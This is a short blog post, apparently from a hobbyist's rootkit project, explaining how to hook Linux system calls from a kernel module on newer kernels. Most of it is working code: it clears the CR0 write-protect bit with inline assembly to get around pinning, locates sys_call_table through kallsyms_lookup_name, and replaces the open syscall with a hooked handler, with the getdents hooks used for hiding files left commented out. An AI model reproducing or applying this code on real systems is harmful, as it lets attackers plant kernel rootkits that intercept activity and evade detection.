success

how to disable WP when cr0 is "pinned"?

you can read my previous article

according to this stackoverflow question, we cannot:

  • disable CR0's Write-Protection bits
  • set RO page to RW

i think ive found a solution:

since lkm runs in ring0, why not just write to cr0 directly, why bother using write_cr0?

/* needed for hooking */
static inline void
write_cr0_forced(unsigned long val)
{
    unsigned long __force_order;

    /* __asm__ __volatile__( */
    asm volatile(
        "mov %0, %%cr0"
        : "+r"(val), "+m"(__force_order));
}

static inline void
protect_memory(void)
{
    write_cr0_forced(cr0);
}

static inline void
unprotect_memory(void)
{
    write_cr0_forced(cr0 & ~0x00010000);
}

how to hook syscalls when none of them are exported?

modern (>4.15 ?) linux kernels dont export syscalls anymore, meaning this code is of no use:

for (i = (unsigned long)sys_close; i < ULONG_MAX;
 i += sizeof(void*)) {
syscall_table = (unsigned long*)i;

if (syscall_table[__NR_close] == (unsigned long)sys_close)
    return syscall_table;
}
return NULL;

luckily, we have another approach, kallsyms_lookup_name, which helps us locate symbols in kernel

i = kallsyms_lookup_name("sys_call_table");
if (i == 0) {
    return NULL;
}
syscall_table = (unsigned long*)i;
return syscall_table;

test:

static int lkminit(void)
{
    cr0 = read_cr0();
    __sys_call_table = get_syscall_table_bf();
    if (!__sys_call_table)
        return -1;

    // original syscall open
    orig_open = (orig_open_t)__sys_call_table[__NR_open];
    orig_openat = (orig_openat_t)__sys_call_table[__NR_openat];
    printk("original open: %x", __sys_call_table[__NR_open]);

    // hook syscall open
    printk("before unprotect_memory: %lx\n", read_cr0());
    unprotect_memory();
    printk("after unprotect_memory: %lx\n", read_cr0());
    __sys_call_table[__NR_open] = (unsigned long)hooked_open;
    /* __sys_call_table[__NR_openat] = (unsigned long)hooked_openat; */
    /* __sys_call_table[__NR_getdents] = (unsigned long)hooked_getdents; */
    /* __sys_call_table[__NR_getdents64] = (unsigned long)hooked_getdents64; */
    protect_memory();
    printk("hooked_open: %x", __sys_call_table[__NR_open]);
    printk("vigi14nt-tr4in has successfully hooked some syscalls\n");

    return 0;
}

Comments

comments powered by Disqus